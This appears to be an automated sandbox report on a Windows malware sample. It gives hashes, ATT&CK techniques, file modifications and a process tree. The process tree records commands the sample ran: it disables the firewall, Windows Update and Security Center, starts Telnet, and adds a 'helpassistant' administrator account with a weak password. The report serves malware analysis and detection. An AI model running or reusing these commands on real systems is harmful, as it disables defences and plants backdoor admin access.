15585ad28ab7efd2ea5793c25317d82482807d334e569eba8d7f1134c228a88b

Analysis

max time kernel
149s
max time network
139s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/08/2026, 04:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
Size 28.4MB
Sample260816-e9qhrsdk3v
SHA256 15585ad28ab7efd2ea5793c25317d82482807d334e569eba8d7f1134c228a88b
MD5 4ff898d321aa0564bf1283fa3b6972ad
SHA1 dad1c1197a7669b058396f315dad084eef26bd3e
SHA512 b9540b072ec128086c733bdc643e5b1a67bbfcc0ec238ff0577d8b4db5df94cdc80f35cb2e440221772db15c3168945722dd0ee794e0f8fe23fb9d1e04989b3e
SSDEEP 196608:QAcI3Kmd0lAcI3Kmd0SAcI3Kmd0lAcI3Kmd0ga:qxqaxqzxqaxqy
TLSH
T173674A23B1A60499D599C035DF468231D7A17C6D8BF1A2FB728076D92F73AD03B3970A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
828	UpdatAuto.exe
4608	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
1564	UpdatAuto.exe
4492	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4~4.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops file in System32 directory 8 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Option.bat	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	UpdatAuto.exe
File opened for modification	C:\Windows\SysWOW64\Option.bat	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Windows\SysWOW64\Option.bat	UpdatAuto.exe
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Windows\SysWOW64\Option.bat	UpdatAuto.exe
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	UpdatAuto.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jcmd.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jconsole.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\notification_helper.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\setup.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javaw.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\dotnet.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\idlj.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jar.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\notification_helper.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\notification_helper.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jar.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jinfo.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jinfo.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\dotnet\dotnet.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\extcheck.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javadoc.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javac.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java-rmi.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javafxpackager.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javapackager.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javaw.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevated_tracing_service.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javafxpackager.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java-rmi.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javapackager.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\setup.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javadoc.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javac.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\extcheck.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jar.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javadoc.exe	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jcmd.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jhat.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe	UpdatAuto.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
996	sc.exe
600	sc.exe
1072	sc.exe
3288	sc.exe
2384	sc.exe

Executes a command shell one-liner 1 TTPs 10 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2872	cmd.exe
3128	cmd.exe
4084	cmd.exe
2864	cmd.exe
472	cmd.exe
5592	cmd.exe
2536	cmd.exe
2724	cmd.exe
5736	cmd.exe
4664	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 34 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UpdatAuto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UpdatAuto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe

Runs net.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2052	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
828	UpdatAuto.exe
4608	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
1564	UpdatAuto.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 2052 wrote to memory of 2864	2052	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	88
PID 2052 wrote to memory of 828	2052	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	90
PID 828 wrote to memory of 4664	828	UpdatAuto.exe	91
PID 2052 wrote to memory of 4608	2052	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	93
PID 4608 wrote to memory of 472	4608	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe	94
PID 4608 wrote to memory of 1564	4608	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe	96
PID 1564 wrote to memory of 5592	1564	UpdatAuto.exe	97
PID 4608 wrote to memory of 4492	4608	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe	99
PID 4608 wrote to memory of 5400	4608	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe	101
PID 4608 wrote to memory of 4084	4608	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe	102
PID 4608 wrote to memory of 5736	4608	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe	103
PID 4608 wrote to memory of 2724	4608	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe	104
PID 4608 wrote to memory of 2536	4608	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe	105
PID 4608 wrote to memory of 3128	4608	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe	106
PID 4608 wrote to memory of 2872	4608	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe	107
PID 4608 wrote to memory of 996	4608	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe	115
PID 4608 wrote to memory of 2384	4608	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe	116
PID 4608 wrote to memory of 3288	4608	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe	117
PID 4608 wrote to memory of 1072	4608	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe	118
PID 4608 wrote to memory of 600	4608	2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe	119
PID 5736 wrote to memory of 4740	5736	cmd.exe	125
PID 3128 wrote to memory of 3140	3128	cmd.exe	126
PID 2536 wrote to memory of 1228	2536	cmd.exe	127
PID 4084 wrote to memory of 5412	4084	cmd.exe	128
PID 2872 wrote to memory of 3336	2872	cmd.exe	129
PID 2724 wrote to memory of 1600	2724	cmd.exe	130
PID 5400 wrote to memory of 6072	5400	cmd.exe	131
PID 5412 wrote to memory of 1336	5412	net.exe	133
PID 4740 wrote to memory of 2500	4740	net.exe	134
PID 1228 wrote to memory of 1120	1228	net.exe	132
PID 1600 wrote to memory of 1836	1600	net.exe	135
PID 3140 wrote to memory of 4112	3140	net.exe	136
PID 3336 wrote to memory of 1400	3336	net.exe	137
PID 6072 wrote to memory of 5696	6072	net.exe	138

C:\Users\Admin\AppData\Local\Temp\2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe"
1⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2052
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2864
- C:\Windows\SysWOW64\UpdatAuto.exe
  C:\Windows\system32\UpdatAuto.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:828
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4664
- C:\Users\Admin\AppData\Local\Temp\2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
  2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4608
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:472
- - C:\Windows\SysWOW64\UpdatAuto.exe
    C:\Windows\system32\UpdatAuto.exe
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1564
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:5592
- - C:\Users\Admin\AppData\Local\Temp\2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4~4.exe
    2026-08-16_4ff898d321aa0564bf1283fa3b6972ad_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4~4.exe
    3⤵
    - Executes dropped EXE
    PID:4492
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net stop sharedaccess
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5400
  - - C:\Windows\SysWOW64\net.exe
      net stop sharedaccess
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:6072
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop sharedaccess
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5696
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net stop wuauserv
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4084
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5412
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1336
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net stop wscsvc
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5736
  - - C:\Windows\SysWOW64\net.exe
      net stop wscsvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4740
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wscsvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2500
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net stop srservice
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Windows\SysWOW64\net.exe
      net stop srservice
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1600
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1836
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net start TlntSvr
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2536
  - - C:\Windows\SysWOW64\net.exe
      net start TlntSvr
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1228
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start TlntSvr
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1120
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net user helpassistant 123456
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3128
  - - C:\Windows\SysWOW64\net.exe
      net user helpassistant 123456
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3140
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user helpassistant 123456
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4112
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net localgroup administrators helpassistant /add
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2872
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators helpassistant /add
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3336
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators helpassistant /add
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1400
- - C:\Windows\SysWOW64\sc.exe
    sc config srservice start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:996
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2384
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3288
- - C:\Windows\SysWOW64\sc.exe
    sc config wscsvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1072
- - C:\Windows\SysWOW64\sc.exe
    sc config srservice start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:600

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Credential Access

Discovery

Network Share Discovery

T1135

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

7z.exe

Path C:\Program Files\7-Zip\7z.exe
Size 14.7MB
SHA256 13c6b62e5bc92a79c289b2ff3115e98125e1274a6719aca8b1325ec421e23474
MD5 822a80a597aa10b376c7139107eed628
SHA1 fb377549f03423bc515e9d587d2091d9d213ab18
SHA512 0a9b4df4fca2fdb57da73a6101ed79b25a7fbe5274e63ce9bc5764cfe5be90a17a81aae7288242a295693751af2f84c906cb78282ad254a58065c0ddde428567
SSDEEP 98304:PsALapIy0oAaldmdmnp6sALapIy0oAaldmdmnpWjo:UAcI3Kmd0lAcI3Kmd0Wo
TLSH
T1C8F64A23B1A504A9D19AC035CF468235D7A17C6D8BF196FB328076D92F73AD03B3A716
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7z.exe

Path C:\Program Files\7-Zip\7z.exe
Size 28.8MB
SHA256 d724a3fa52edfe96e62cc4a8f6c0d2c66c26fadd06a89d599f9eeb734ce5ecee
MD5 a7b4d048ac872874720b79c64550ba19
SHA1 c09555fbbc7b2f77c617cfa4c06ad7a34cf5ae4a
SHA512 a412f2599959a245cb38ffec9866c97ee0ca4bf0891100545ee89cb13a40ae45c3f87fad4718d01a290f52b29717ae6e0adee5998783de283d58fc016d922dd4
SSDEEP 196608:YAcI3Kmd0lAcI3Kmd0PAcI3Kmd0lAcI3Kmd0Wo:CxqaxqAxqaxqI
TLSH
T1F8674A23B1A60499D199C035CF468235D7A17C6D8BF1A2FB728076D92F73AD03B3A716
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7zFM.exe

Path C:\Program Files\7-Zip\7zFM.exe
